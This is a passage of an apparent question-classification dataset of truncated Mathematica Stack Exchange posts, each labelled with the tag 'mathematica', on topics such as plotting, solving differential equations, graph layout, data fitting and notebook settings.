Kingdom Mathematical Olympiad. Find all triples $(x,y,z)$ of positive integers such that $$\biggl(1+\dfrac{1}{x}\biggr)\cdot \biggl(1+\dfrac{1}{y}\biggr)\cdot ... ",['mathematica'] "Title: Algorithm used by IsomorphicGraphQ Body: I'd like to know which algorithm is used to test if two graphs are isomorphic? ",['mathematica'] "Title: Is there a way to “lock” some cells in a notebook? Body: Is there a way to ""lock"" some cells in a notebook so they can't be edited? It's usually input cell that's documenting some functionality. I'd like other readers of the notebook to be able to execute ... ",['mathematica'] "Title: How to create a composite function from a variable number of components? Body: Background of the problem: A patient takes a drug every $X$ hours with a half-life of $Y$ hours. How much of the drug will be (exactly) in his system after $h$ hours? For $X=24$, and $Y=24$ I made the ... ",['mathematica'] "Title: Detecting grid lines in a raster image Body: Motivation: Last October 7 there was a presidential election in Venezuela. Although the opposition saw an unprecedented increase in its votes, the government votes increased even more resulting in the ... ",['mathematica'] "Title: Reducing a statement with Mathematica, step by step [duplicate] Body: Possible Duplicate: Get a “step by step” evaluation in Mathematica I have a list of inequalities combined with quantifiers. And Mathematica is able to reduce to simple statement with the ... ",['mathematica'] "Title: How to improve this code for solving the “Mr.S and Mr.P” puzzle? Body: Mr.S and Mr. P puzzle — ""Formalization of two Puzzles Involving Knowledge"", McCarthy, John (1987) We pick two numbers $a$ and $b$, such that $a\geq b$ and both numbers are within the range ... ",['mathematica'] "Title: Maximizing functions with Which statements Body: I'd like to be able to find the maximum value that my Capex function (see below) generates. This is a fairly simple function so I could just add it up but I have more complex functions of a similar ... ",['mathematica'] "Title: Mathematica Complains about Non Symmetric Covariance matrix, when it's not the case Body: I was doing some fitting with Mathematica7 using NonlinearModelFit. It's quite long the program to do the fit and that's why I am not displaying here ... It goes ok, and I can get the fit parameters ... ",['mathematica'] "Title: Deleting a row or column of an adjacency matrix while maintaining the associated label Body: I am currently working with a weighted adjacency matrix for a directed graph, and it contains several 0 columns and rows. With the unaltered matrix, I am able to monitor the relations between vertices ... ",['mathematica'] "Title: FinancialData property value at a given date Body: I was trying to get the volatility value of a specific equity on a given day. Based on the Mathematica Help, the syntax is ... ",['mathematica'] "Title: How to save (large) data generated from simulations Body: The following is a simple example of a much larger simulation that I want to run Define some processes ... ",['mathematica'] "Title: Plotting All Possible Points Belonging to a Group Orbit Body: Given that $$X = \{(x,y,z) \in \mathbb{R}^3 |\, x^2 + y^2 + z^2 - 2(xy + xz + yz) = k\}\,,$$ where $k$ is a constant. Also given that a group $G$ is represented by $$\langle g_1,g_2,g_3|\, g_1^2 = ... ",['mathematica'] "Title: Dual complex integral over implicit path using contour plot Body: Context I am interested in doing double contour integral over paths which are defined implicitely. For the sake of debugging, let's assume its $$\oint_{\cal C}\oint_{\cal C} \frac{1}{u\, x} d u d x$$ ... ",['mathematica'] "Title: Problem with NDsolve for a system of equations Body: I want to solve a system of differential equations which is not very complicated, but I cannot handle the problem with mathematica!! Please have a look at the problem and result and help me with your ... ",['mathematica'] "Title: A good way to manage code in a complicated CDF? Body: When doing complicated programming in a Mma notebook I define several functions that I use in my higher level funtions, and I use a ""Subsection"" cell for each definition. For example I might write: ... ",['mathematica'] "Title: How to set Math text size & line spacing Body: I have chosen different font for text. Unfortunately this font is larger than the standard Times font. So all math symbols (e.g. greek) are now a little too small. If I could just set the FontSize for ... ",['mathematica'] "Title: How to make a function that evaluates an expression? Body: I'm trying to make a function where the input is an expression, but somehow it just won't be evaluated. For example, this little function doesn't work: ... ",['mathematica'] "Title: Trying to generate a list of data to plot a graph with error bars. Need help creating the looping function Body: This is the sets of data I want to put into a form which will allow me to plot error bars from the min and max data. ... ",['mathematica'] "Title: Strange Error in Bifurcation Diagram: Body: I am attempting to plot the bifurcation diagram of the tent map $$ f(x):=2\alpha \begin{cases} x, & 0<x<1/2\\ 1-x, &1/2<x<1, \end{cases} $$ i.e., the plot $\alpha$ vs. the limit ... ",['mathematica'] "Title: Numerically solving PDE with high precision Body: I want to numerically solve the PDE $\partial_t u(t,x)=c\partial_x u(t,x)+(mx-l)u(t,x)$ with some initial and boundary conditions and given parameters $c$, $m$ and $l$. Consider the code ... ",['mathematica'] "Title: How can I independently move vector components (in 2D)? Body: Here's what may well be a simple problem that I have been having difficulty with: There are two connected vectors, v1 and v2, such that: v1 begins at the origin and and ends at point a1 v2 begins ... ",['mathematica'] "Title: What's reliable way of finding declared but undefined functions/symbols in several interrelated packages? Body: I have many packages some of which use some of others. I have many symbols defined in them. Is there a reliable way of finding declared/exported but undefined functions/symbols in several ... ",['mathematica'] "Title: Import[] exception possibly caused by ToString[] behaviour which I cannot explain Body: Let me just start by pointing out I'm a new StackExchange user as well as a new Mathematica user (started today!) I mention this as a context to my ineptitude :) I am attempting to read through a ... ",['mathematica'] "Title: Why does this function fail when a non-function version of the same code works? Body: This works: ... ",['mathematica'] "Title: Can an Interpolation function be 'saved'? [duplicate] Body: Possible Duplicate: Save interpolated function I am importing tables with sizes of 100k - 500k rows and 4 columns. The larger the table, the slower my Mathematica runs for all computations ... ",['mathematica'] "Title: Logical operations on a list [duplicate] Body: Possible Duplicate: Applying And to lists of Booleans I have two lists filled with logicals: ... ",['mathematica'] "Title: Comparing Unequal Lists of Surnames to Establish Over or Under-Representation Body: I've been using Mathematica to explore historical records. I have two long lists (one is 69k, the second 17k) of unequal length. They are like so (FWIW, the first list is the first 40 entries from the ... ",['mathematica'] "Title: How to create a simple interface to get file path and execute some code on it? Body: I need to create a simple user interface to choose one file in the notebook directory, import it and execute some functions on the imported data. For the first version I created this code: ... ",['mathematica'] "Title: Export data to Excel with adjusted column size Body: I'm trying to export some data with formats into Excel. It works ok, but the columns size get not properly adjusted. I don't want to use some complicated solution based on this example. In my tests, ... ",['mathematica'] "Title: Why doesn't Log[Gamma[]] simplify to LogGamma[] where it could? Body: I have been playing with various equations involving amount of permutations in relatively large sets. Easiest way to look at these is something like Log[10, bignumber!] . Often expressions, even ... ",['mathematica'] "Title: TreePlot EdgeLabeling Style Body: I am trying to control the style for edge labels in treeplot and have run into a problem. Consider these two graphs: ... ",['mathematica'] "Title: How to make 3d solid volume from set of images [duplicate] Body: Possible Duplicate: How to show solid bodies using volumetric rendering? I have a set of images, and I want to construct a z-stack, then reconstruct it to a 3d volume. My previous ... ",['mathematica'] "Title: Ordering vertices with minimum Edge Crossing in Circular Graphs Body: Weighted and sorted Mathematica circular graphs are shown below. My question is how to reorder the vertices in such a way that they have minimum cuts (intersection of edges) while keeping the circular ... ",['mathematica'] "Title: How to distribute a generic function of two arguments (without evaluating the arguments) Body: I guess there is an easy way to do this, but I can't seem to figure it out. What I would like to do is to distribute a generic (i.e. without specifying what this function really does) binary function. ... ",['mathematica'] "Title: How can I create a legend for a Heat Map when I don't want to show the full range of colors? Body: I produce a heat map with legend with the code shown below ... ",['mathematica'] "Title: Approaches For Creating Cycle Plots in Mathematica Body: I am trying to create a cycle plot in Mathematica, and I am having a hard time finding the right approach to create the visualization. Can anyone give me a few pointers as to how to approach the ... ",['mathematica'] "Title: Is there a way to convert mathematica code to OpenMP or OpenACC? Body: I see that Mathematica has limited support for things like OpenCL and CUDA, but what about other standards like OpenMP or OpenACC? ",['mathematica'] "Title: What is the complete list of valid FrontEnd Packet types? Body: In response to my question How can I get the unchanged Box form of an arbitrary expression? John Fultz answered with a method using the hilariously named ... ",['mathematica'] "Title: Composition of mappings not working as expected Body: I have two functions $f,g:\mathbb{R}^2 \to \mathbb{R}^2$ and I define a third one $h:\mathbb{R}^2 \to \mathbb{R}^2$ as the composition $$h(x,y) = g(f(x,y))$$ I'm trying to get this function into ... ",['mathematica'] "Title: Insert EndNote citation in Mac OS Body: I'm trying to insert citations in a notebook. I found a thread that goes back to 2010 saying that the Endnote plugin for Mathematica is not supported on Mac OS. Does anyone know whether this is still ... ",['mathematica'] "Title: How to solve this logarithmic equation? Body: The equation $$x^2\cdot\log_2\dfrac{3+x}{10}-x^2\cdot\log_{\frac{1}{2}}(2 + 3x)=x^2 - 4+2\cdot\log_{\sqrt{2}}\dfrac{3x^2+11x+6}{10}$$ has two solutions for x, namely 1 and 2. I tried ... ",['mathematica'] "Title: Exporting Cyrillics in PDF on Linux Body: I'm using Mathematica from Ubuntu. I need a normal font to display cyrillics inside PDFs. Any default font is very ugly, letters are too close together: ... ",['mathematica'] "Title: Define product derivative Body: How do I define the $n$th product derivative of a function in Mathematica? The first product derivative $f^\ast$ of a function $f$ is $$ f^\ast(x)=\exp\left(\frac{f^\prime(x)}{f(x)}\right) $$ The ... ",['mathematica'] "Title: Parametric regions Body: I'm trying to plot $a x^2 + b x + c$ where $a, b, c$ (and $x$) take on a range of values. I tried ... ",['mathematica'] "Title: Approximating an ornamental curve Body: How do I go about approximating this ornamental curve? Note that the curve has somewhat variable thickness as typical in calligraphy, which I would also like to replicate. The excellent reference ... ",['mathematica'] "Title: Solving the Sine Gordon PDE in mathematica Body: how can i solve this equation in mathematica? this is sine-gordon eq. but the boundary condition can not recognized by mathematica . thank you for you attention. ... ",['mathematica'] "Title: RandomReal closed on left & open on right? Body: I have a number of algorithms that depend on uniform random reals in half-open intervals such as $[0,1)$. In particular, I need a (pseudo) random-number generator that produces machine-precision ... ",['mathematica'] "Title: Visualizing the difference between two sequences (strings) Body: I'm trying to develop a way of comparing two sequences (probably originally text, such as text writing or source code, possibly converted to lists). As a familiar example, consider the revisions ... ",['mathematica'] "Title: Making a screen icon by Mathematica Body: Is it possible to make within Mathematica an image file to be used as a screen icon? Could you kindly give an example? ",['mathematica'] "Title: LevinRule and SphericalBessels Body: I'm currently looking at a simplified problem that approximates another problem I'm looking into. In this simplified problem I at least have an analytic integrand and can easily provide all info on ... ",['mathematica'] "Title: Combine multiple PDF files into one document Body: I have multiple single page PDFs I'd like to join together into a single file. (Obviously I mean the file format and not the probability distributions here!) I'm aware of free online services such as ... ",['mathematica'] "Title: NDSolve event handler Question [closed] Body: I'm trying to plot a ball falling, hitting the ground and coming back up. without air friction, the equations for the system would be ... ",['mathematica'] "Title: No result while try to DSolve Body: I try to Solve this equation set with Laplace also , but I didn't get any answer too. ... ",['mathematica'] "Title: Specifying form in MemberQ Body: This seems like a very simple question, the answer to which should be obvious to me. So I won't be offended if this question is closed. But I'm having trouble figuring out the answer. I would ... ",['mathematica'] "Title: Alternative Math Font Body: Are there other fonts that can be used for mathematical symbols? I have noticed, that choosing another font (via Stylesheet) does not change the math font (e.g. for greek symbols). Symbols will just ... ",['mathematica'] "Title: Plot with Legends and Markers [duplicate] Body: Possible Duplicate: Creating legends for plots with multiple lines? I must say I have seen a couple of similar questions but they were not addressing my specific problem. Level one: I'm ... ",['mathematica'] "Title: Using 'Reduce' to solve a set of inequalities, specified by a list Body: I have a two lists $LHS$ and $RHS$, both of size $n$. I want to solve a system of inequalities of the form: $$LHS[1] \leq RHS[1]$$ $$LHS[2] \leq RHS[2]$$ $$LHS[3] \leq RHS[3]$$ $$\vdots$$ ... ",['mathematica'] "Title: FindMaxValue and FindMaximum - how to find GLOBAL maximum and not just LOCAL maximum Body: I will not be able to provide a simple minimum working example here as this seems to be very specific. I have an interpolating function which I substituted into a PDE and then plot said PDE at a ... ",['mathematica'] "Title: Clustered and Grouped Bar Chart in Mathematica v8.0 Body: How would I create a clustered and grouped bar chart that looks like this (which was painstakingly created using Excel)? I have seen examples for Mathematica v6.0 but none for Mathematica v8.0. The ... ",['mathematica'] "Title: Generating continuous products or sum Body: This is kind of a continuation of this question. I want to automate these 2 steps on Mathematica once I give an integer $N$. generate a list of variables $\{a_i\}_{i=1}^{i=N}$ then for some ... ",['mathematica'] "Title: Examples of (well coded) packages using custom notation Body: Which packages do you know of, that have the following properties: using custom notation (for input AND output would be preferable) well coded & designed (from your subjective perspective!) ",['mathematica'] "Title: Measuring fractal dimension of natural objects from digital images Body: This is a useful topic. A college physics lab, medical diagnostics, urban growth, etc. - there is a lot of applications. On this site by Paul Bourke about Google Earth fractals we can get a high ... ",['mathematica'] "Title: How to create 3D architectural models in this shape with interactive faces? Body: I am a non-technical person in the imageProcessing side,so I don't have any idea how can I make polygon in the below shape... the above polygon is a 3D ... ",['mathematica'] "Title: Show Legend with 3D ListPlot [duplicate] Body: Possible Duplicate: Creating legends for plots with multiple lines? I am trying to plot the color bar that shows the data range for the data plotted by ... ",['mathematica'] "Title: Why is NDSolve solving in term of two 1st order ODE slower than 2nd order? Body: As mentioned in the documentation for NDSolve it's often convenient to reduce a 2nd order ODE to a system of first order equations. When I do this however I seem to see a significant speed reduction ... ",['mathematica'] "Title: Mathematica: summing over n abstract indices Body: This probably has a one line answer, but I'm totally stuck. I have two tensors, i.e. two objects that depend on NN abstract indices which i've labelled ... ",['mathematica'] "Title: How to run a Mathematica program using command line on windows? Body: I have to run some Mathematica programs on a remote computer. The system of that computer is Windows XP. But I do not know how to run the program using command line on windows. Can you help me? Thank ... ",['mathematica'] "Title: Estimate error on slope of linear regression given data with associated uncertainty Body: Given a set of data, is it possible to create a linear regression which has a slope error that takes into account the uncertainty of the data? This is for a high school class, and so the normal ... ",['mathematica'] "Title: Proving (self) similarity with Mathematica - Reccurrence Plots, Similarity Plots etc Body: I posted this question in math.se but given the sheer tumultuous number of questions that keep appearing on math.se and also given that I am trying to accomplish this in Mathematica, I thought I'd ... ",['mathematica'] "Title: can mathematica plot graph/visualize rotation matrices Body: just wondering is there any example online that show plotting of 3d rotation matrices like in the picture below (source) ",['mathematica'] "Title: How can I format Mathematica expressions for $\LaTeX$ without manual intervention? [closed] Body: I want to show my work to my audience mathematically. My audience is not interested in Mathematica but in the math itself, so I want $\LaTeX$ output. I tried ... ",['mathematica'] "Title: 2D grid as a 2D polygonal or smooth domain Body: I have a series of points, as a list of pairs of real numbers, each multiple of a base value. So they represent a subset of a grid. Given that this list, when represented with ... ",['mathematica'] "Title: Calculate mean and standard deviation from ImageHistogram Body: I am doing my PhD in Clinical Neuropsychology; I had someone helping me analyse images (.jpg pictures) in Mathematica, but it turns out this person made some really bad decisions, and well, now I have ... ",['mathematica'] "Title: Integrating over data points from an external source (wolfram|alpha and weather) Body: I moved to another city and the weather sucks. Sometimes I feel like getting sad and so I go to wolfram|alpha and check for example ${}$ ... ",['mathematica'] "Title: Randomly packing spheres of fixed radius within a cube Body: How can I have Mathematica randomly place spheres in a cube so they won't overlap? The cube is $20 \times 20 \times 20$, and the spheres have a radius of $0.7$. ",['mathematica'] "Title: Vectors with a certain magnitude in Mathematica Body: For a user specified magnitude, is there a way to have Mathematica produce any 3D vector that fits that magnitude? ",['mathematica'] "Title: PowersRepresentations Algorithm Body: I'm trying to understand the mathematics behind counting the number of representations of a positive integer by $n$ distinct $k$th powers, i.e. I would really like to know how to do the Mathematica ... ",['mathematica'] "Title: Animating mathematica.se logo Body: As we all know our site's logo was completely generated by Mathematica. I suppose it is quite natural to make the next step -- to generate the animated version of this logo. There's a lot of space for ... ",['mathematica'] "Title: How to find the variance under the assumption that x follows some probability distribution Body: I am aware that we can find the expectation under the assumption that x follows some probability distribution, something like this: ... ",['mathematica'] "Title: Creating a weighted, directed graph from ordered triples Body: I have a relatively large set of data that I am trying to turn into a weighted, directed graph. The data concerns the inflow of migrants based on country of origin. I currently have three columns of ... ",['mathematica'] "Title: Efficient export of complex graphics to PDF Body: So I have 2D plot, made with DensityListPlot. Mathematica just cannot export them properly to PDF, so what I want to do is 1) export the plot itself, without axes, labels, etc, as a jpg image, and 2) ... ",['mathematica'] "Title: MapThread and parallel computing Body: This time I have a very short question. Is there a deeper reason why ParallelMapThread does not exist? Regards, Frink ",['mathematica'] "Title: How can I change the style of every newly opened notebook? Body: I'd like to make Mathematica open a new notebook using the Natural Color template (under the Creative category) by default. Is that possible? If so, how? ",['mathematica'] "Title: Exporting data to a new excel sheet of a pre-existing excel file Body: ... ",['mathematica'] "Title: 1D Euler Equations Body: Is it possible to accurately solve the 1D Euler equations in Mathematica using NDSolve? For example, let us consider the problem given here: http://www.csun.edu/~jb715473/examples/euler1d.htm Using ... ",['mathematica'] "Title: Forcing efficient numerical arrays Body: I encounter strange behaviour of Mathematica when evaluating multi-dimensional arrays of double-precision data. Mathematica can express large arrays of machine-precision numbers using a specialized ... ",['mathematica'] "Title: How to implement hive plot for graphs in Mathematica? Body: I'm trying to implement a version of the hive plot advocated in [Kryzywinski, et al., 2012]. There are many examples of such graphs on the author's webpage. It would be good enough for me to have ... ",['mathematica'] "Title: How can I connect to a remote machine? Body: My friend and I are trying to set up remote kernels. He has a server at home running 1 kernel off of a Linux-based server. We're both on 8.0. I manually set ... ",['mathematica'] "Title: How to play with Facebook data inside Mathematica? Body: I saw this post from Wolfram here and I would like to know how to import facebook data into Mathematica. ",['mathematica'] "Title: Factorisation diagrams Body: Here is a way to visualize the factorisation of natural numbers. How do we get this or a similar kind of output using Mathematica? See the list of images generated for number from 1 to 36: ",['mathematica'] "Title: Get x and z coordinate from an image and make a parametric surface Body: In this blog entry, this step is mentioned: I grabbed an image of a Peugeot wine glass from the web and used the Get Coordinates function to digitize its outline, which I fed to Interpolation to ... ",['mathematica'] "Title: Don't simplify an expression Body: I have an expression that I want Mathematica to fully expand without any simplification afterwards. I want the output to look like the following example. ... ",['mathematica'] "Title: How to generate a random tree? Body: Is it possible to generate a random tree without explicitly constructing a random adjacency matrix that satisfies tree properties? How about a random directed tree? Edit: incredible answer by ... ",['mathematica'] "Title: Loop and do operations on Matrix, then graph the results Body: I'm trying to do some operations to a matrix in a loop, and then I want to graph the results. The results are pair of numbers. Can I store the results of each iteration on ""something"" and the use ... ",['mathematica'] "Title: Skip one step of the loop if there is NIntegrate::eincr: message Body: is there possibility to skip one step of the loop if in this step there appear error like NIntegrate::eincr:? For example: when I use ""do"" loop and when one of the step is evaluating I would like to ... ",['mathematica'] "Title: Faster code for specific problem Body: Sorry, but I need the following code much faster and I'm running out of ideas. I do appreciate any help. I post two of my fastest ideas (tab and mat), although they are not really fast. Thanks in ... ",['mathematica'] "Title: Total Variation Distance of probability matrix Body: How can I calculate the Total Variation Distance of a transition Matrix? is there any built in function? I've searched all documentation and haven;t found anything. ** More information: Let me try ... ",['mathematica'] "Title: How to silence all messages associated with a built-in symbol? Body: The post title's pretty much says it all... The reminder of this post just describes the little headway I made with this problem, FWIW. One would hope that ... ",['mathematica'] "Title: Confusing ReplaceRepeated & Hold Body: I've been bootstrapping myself to the very alien world of Mathematica and there came my first WTF moment: ... ",['mathematica'] "Title: stationary distribution of a transition matrix Body: How can I solve the stationary distribution of a finite Markov Chain? In other words, how can I estimate the eigenvectors of a transition matrix? ",['mathematica'] "Title: Good Introduction / Tutorial to Mathematica **Books** [duplicate] Body: Possible Duplicate: Where can I find examples of good Mathematica programming practice? I'm a high school senior and am using Mathematica for a research project. However, I find it a bit ... ",['mathematica'] "Title: How to give ClusteringComponents initial values? Body: I came across a variant of k-means that adds a algorithm to select good starting values called k-means++. ... ",['mathematica'] "Title: Vectorizing an image like “Trace Bitmap” in Inkscape Body: Lately, we had a nice question about artistic image vectorization which got very nice answers. As Szabolcs pointed out himself Since ""true"" vectorization performed by various specialized software ... ",['mathematica'] "Title: Simulating Stochastic Processes the MMA way Body: This question is really a specific problem and a methodological one concerning MMA best practices. I want to simulate a system of stochastic processes. If this were a geometric Brownian motion or ... ",['mathematica'] "Title: Ranking Function Allowing for Ties Body: I have a list that I need to be able to assign ranks to individual elements in, giving it a number related to its position if the list were to be sorted, allowing for ties. For example, ... ",['mathematica'] "Title: Second-Order Feedback Pathways Body: I'm relatively new to Mathematica and I've tried searching and reading through the Mathematica documentation but I'm not able to find a good place to start. I want to model a simple, second-order ... ",['mathematica'] "Title: plot data differences Body: I have the following data: ... ",['mathematica'] "Title: How can I restrict a notebook to evaluate only if I am user 'root'? Body: I am playing with openCL on Linux with an AMD gpu, and due to a glitch in the driver, I need to be 'root' to get stuff to work. Installation question here. ",['mathematica'] "Title: Can the banner in the Home Edition be removed? Body: The Mathematica Home Edition shows a banner at the top of every notebook: Is there a way to (permanently) get rid of it, without violating the EULA? Edit Yesterday, I sent this message to WRI ... ",['mathematica'] "Title: Defining regions for `Exclusions` Body: I have the following function I want to plot in 3D (For simplicities sake we can say $a=5,b=-1,c=3$.) ... ",['mathematica'] "Title: Sum of series with log in each term [closed] Body: I was solving recurrence relation of Introduction to Algorithms by CLRS, 3rd. edition. Problem 4-3 (i) $$ T(n) = T(n-2) + \frac{1}{lg \; n} $$ I tried few ways, like expending with iteration method. ... ",['mathematica'] "Title: What is the complete sequence of evaluations/transformations from submitting a cell to actual evaluation? Body: This question is inspired by that one. Reading it, I noticed that while (I think) I know what happens when entering an expression directly to the kernel (i.e. after typing ... ",['mathematica'] "Title: How do I find all the solutions of three simultaneous equations within a given box? Body: Sometimes, one needs to find all the solutions of three simultaneous nonlinear equations in three unknowns $$\begin{align*}f(x,y,z)&=0\\g(x,y,z)&=0\\h(x,y,z)&=0\end{align*}$$ within a ... ",['mathematica'] "Title: Replicating a discontinuous graph Body: I'm trying to replicate a graph from my math book for my notes as well as to learn Mathematica. I was hoping someone would be able to help me figure out how to add the open points to the graph, and ... ",['mathematica'] "Title: xkcd-style graphs Body: I received an email to which I wanted to respond with a xkcd-style graph, but I couldn't manage it. Everything I drew looked perfect, and I don't have enough command over ... ",['mathematica'] "Title: How do I dynamically change Manipulate controls? Body: What I'd like to be able to do is dynamically change the axis of a 3D plot inside a manipulate. For example if I have a function that has three input variables I'd like a 3D plot using 2 of the ... ",['mathematica'] "Title: Enlarge an image and increase its resolution Body: An ongoing purely recreational project. I got my introduction to image processing with this Rotating perspective... question and had a lot of fun with it. Now I want to take it to the next step. ... ",['mathematica'] "Title: Is it possible to specify a context-sensitive, “depth-agnostic” rewrite rule? Body: I'm using the term ""depth-agnostic"" in this post to describe structural patterns featuring a ""target"" sub-pattern that can occur ""at any depth"" relative to one or more ""context"" sub-patterns. As a ... ",['mathematica'] "Title: How to get the results of Tally split into two separate lists Body: This is a kind of a followup to my previous question. I am starting with a long list of plane coordinates, like this one: ... ",['mathematica'] "Title: Are there suitable versioning systems for Mathematica notebooks? Body: I am considering a project using Mathematica and openCL. I know that the openCL C source code can be tracked. Has anyone used a versioning site or software so multiple developers can modify a common ... ",['mathematica'] "Title: Transform sequential cell operations to programmatic workflow Body: Let's say I have a workflow that involves importing images and turning them into an animated gif. Here's how I currently have it setup: Import Images: ... ",['mathematica'] "Title: How do I compute sidereal time and JD? Body: There was once a package that provided a wide range of functions for computing astronomical information. This package now appears to be out of date; but as near as I can tell, many of the useful ... ",['mathematica'] "Title: Control over depth-first scan and breadth-first scan Body: Is there a way to conditionally take control/modify the flow during a depth-first scan or the breadth-first scan ? Say, for example, if a particular node if found, consider it as a leaf-node and ... ",['mathematica'] "Title: equation solving problems Body: I have some equation: $$ veq=-2-lr-l^2r+2(r+ir^3\omega) v' + (-2+r)r^2v'^2 + (-2+r) r^2 v''==0 $$ or in Mathematica form: ... ",['mathematica'] "Title: Constraining a random function Body: This question is a follow-up from here. I have a function that generates a list of correlations between some random variables: ... ",['mathematica'] "Title: Change values in equation with slider Body: I want to make an equation where the values adjust to my slider which I inserted with manipulate. Well, I tried, but when I use the slider the equation starts to fall apart. Actually this should ... ",['mathematica'] "Title: Plotting a floor function with endpoints? Body: Would someone mind showing me how to plot a floor function with the appropriate endpoints? I tried Google, but the best I could find was something posted from 2004 that no longer appears to work. ... ",['mathematica'] "Title: How to add FindDivisions to the plot commands? Body: I used these instructions to make a legend bar next to my plot (I can't comment there) But I'm lost to where and how can I add FindDivisions to the DensityPlot under ""Edit: illustrating additional ... ",['mathematica'] "Title: Toggle visibility of elements in a plot Body: I have three simple graphs in one Plot. Now I am trying to make a button for each graph so you can hide or show it in the plot. Until now I was just able to make a checkbox with the Manipulate ... ",['mathematica'] "Title: Why is my animation so slow? Body: I have an animated plot of the kind ... ",['mathematica'] "Title: Inputting a big structured matrix in Mathematica Body: Hi this is my first post and this is a problem that has bothered me a lot. Suppose we have the $2012\times2012$ square matrix: ... ",['mathematica'] "Title: Animate the scattering of a Wave Packet Body: I know mathematica is probably not the best choice for intense numerical integration, but its the only software I know. I would like to create an animation (not real-time, but pre-render the ... ",['mathematica'] "Title: Solving a trig equation Body: I am trying to find an explicit solution to a trigonometric equation. It is running for a long time and I didn't get any result, but Maple solves it quickly. Why ? ... ",['mathematica'] "Title: How to solve this equation? [closed] Body: The numbers real x and y, are solutions of the following equation system : $$ \{x^3 + 3x^2y + 3xy^2 + y^3 2\sqrt2$$ $$ \{x^3 - 3x^2 + 3xy^2 -2y^3=0 $$ . $$ x^2 + y^2$$ How to solve it ? ",['mathematica'] "Title: FindMinimum, NMinimize, etc. with external process Body: I was hoping to be able to use MMA's minimization power to work with an external process. I want to minimize the function 'TryThisNumber[x_]' which sends the value of x to something external and gets ... ",['mathematica'] "Title: Change number from real to integer [duplicate] Body: Possible Duplicate: Is this the most efficient way to round approximate integers to integers while leaving other Reals untouched? Please consider the following: ... ",['mathematica'] "Title: NonlinearModelFit weights Body: I would like to know how to perform a nonlinear regression on a table with measurement errors. The table consists of two columns, and both have errors. I've been watching some tutorial and it is very ... ",['mathematica'] "Title: (N)Solve does not solve equation Body: I am trying to calculate where a beam hits a mirror. The mirror is described by this curve (two facing spherical mirrors): ... ",['mathematica'] "Title: Split panes to compare a single notebook's code & aid navigation & usability [duplicate] Body: Possible Duplicate: Open two copies of the same notebook As my question on docking palettes had a workable solution, I thought I'd ask another from the Meta discussion: A wishlist for ... ",['mathematica'] "Title: How can I regroup elements in a list into a tree based on their values? Body: I have a list of elements in an outline, here is an example that is only 3 levels deep: ... ",['mathematica'] "Title: How to find maximum ConditionalExpression among all solutions Body: For example I want to find solution with maximum value among solutions (and possibly plot it): ... ",['mathematica'] "Title: Are there any openCL test suites? Body: I have a new ATI gpu that I have been trying on 3 different distributed computing projects. I get errors on each work unit. The errors indicate No Protocol which could be caused by a bad environment ... ",['mathematica'] "Title: Solve for $a$ as a function of $\beta$? Body: I am trying to solve this equation: $$\beta^{-a} \Gamma(a) \sin(a \pi) + e^\beta \beta^{2 a - 1} \Gamma(1 - a) \sin(a \pi) = 0$$ I tried the following: ... ",['mathematica'] "Title: Set default font for Output Body: Is it possible to set the font family to Arial for axes, legends and labels globally? I found out about ... ",['mathematica'] "Title: Ordering vertices in GraphPlot Body: I'm new here, so forgive me if this question is not well-posed/duplicates an earlier question - although I've searched for similar questions without success. I'm trying to present a plot of ... ",['mathematica'] "Title: Iterative way to find roots of confluent hypergeometric function Body: I am trying to find roots of confluent hypergeometric function and I wonder if I can choose the initial guess by the choice of $\beta$. ... ",['mathematica'] "Title: Can one force a linear regression fit to go through the origin? Body: As the question says, can one force a fit through the origin $(0,0)$ as one can when fitting a trendline to your data in MS Excel? If so, how do you do that? ",['mathematica'] "Title: How can I get the value of a at “t=2.4985352432136567” in the following expression? Body: By running the following code: ... ",['mathematica'] "Title: 3D Plot: Number of Roots in x of a polynomial in x, a, b and c Body: I have a polynomial in four variables x,a,b and c. The number of roots of the polynomial in x depends of the choice of a, b and c. I would like to have a 3D-Plot with a, b and c on the axes, while the ... ",['mathematica'] "Title: How to make a Line[] with no end? Body: I'm trying to do this: In this graph, the secant points are aproximated in order to become the tangent, it seems I need some kind of function which plots a line based on two points and it's points ... ",['mathematica'] "Title: Perimeter and area are positive integers Body: In Geometry 3D, How can I create a triangle whose perimeter and area are positive integers with Mathematica? I found three triangles. For example $A(-6,1,2)$, $B(-9,1,2)$, $C(-9,1,6)$ or ... ",['mathematica'] "Title: Find zero crossing in a list Body: I'm looking for a function that finds the index of the zero-crossing points of a list. Before I go making my own subroutine to do this, I was wondering if anyone knows of any built-in Mathematica ... ",['mathematica'] "Title: How to move differentation before the integral? Body: I have quite a lot expressions that need to be integrated after switching the integral sign with differentation operator. The additional problem is that the bounds are dependent to one of the ... ",['mathematica'] "Title: Finding eigenvalues of a $1500\times1500$ matrix Body: I need to find the eigenvalues of a $1500\times1500$ real symmetric matrix given by $A_{i,i+1}= A_{i+1,i}=-1$ and also $A_{1,N=1500}=-1$ (this is because of a periodic boundary condition used) and all ... ",['mathematica'] "Title: Piecewise function with a function as argument Body: I want to define a piecewise function, which has two arguments, one of which is a function of the other's piecewise argument. I am giving an example ... ",['mathematica'] "Title: How can define a set of nested parameters Body: I would like to know how I to define a function with a nested set of parameters (or whatever you would like to call it). For example, how would I get the following function ... ",['mathematica'] "Title: Finding the number of solutions to a diophantine equation Body: I want to count total number of the natural solutions (different from 0) of the equation $2x + 3y + z = 100$, but don't know how. How can I calculate it using Mathematica? I tried: ... ",['mathematica'] "Title: Clustering a bivariate data set with Mathematica Body: I need to partition a bivariate data set into predetermined ""n"" clusters and, at the same time, to fix the centroid position of each cluster. Is the ... ",['mathematica'] "Title: Rotated text in “plot” cannot be copied to MS Word Body: When I add some text to a simple plot with drawing tools, the text cannot be copied and pasted out with the graphic itself to Microsoft Word. Do you know how to copy the manually added text out to ... ",['mathematica'] "Title: Problem in RegionPlot3D Body: I tried to plot the region bounded by the three planes. This is supposed to give me a pyramid type of shape (actually two, but I am just taking one of them). The code is given by ... ",['mathematica'] "Title: Best way to extract values from a list of rules? Body: Mathematica has a lot of list manipulation functions, and, also because I don't work with lists often, at times I'm a bit lost. I'll find a way, but I'm sure it's not the most efficient. Case in ... ",['mathematica'] "Title: Retain values between sessions Body: This is a real newbie question, so apologies in advance for may seem a very dumb question ... I'm trying to understand the various ways in which information can be retained in a notebook between ... ",['mathematica'] "Title: Fitting a spline to data with FindFit? Body: I am trying to find a function that fits my almost linear data. A high order polynomial model has too much residual. So I was hoping to use Mathematica to fit splines to the curve. This is what I ... ",['mathematica'] "Title: Equation of the plane passing through the three points [duplicate] Body: Possible Duplicate: How to put terms in lexicographic order? I write the equation of the plane passing through the three points 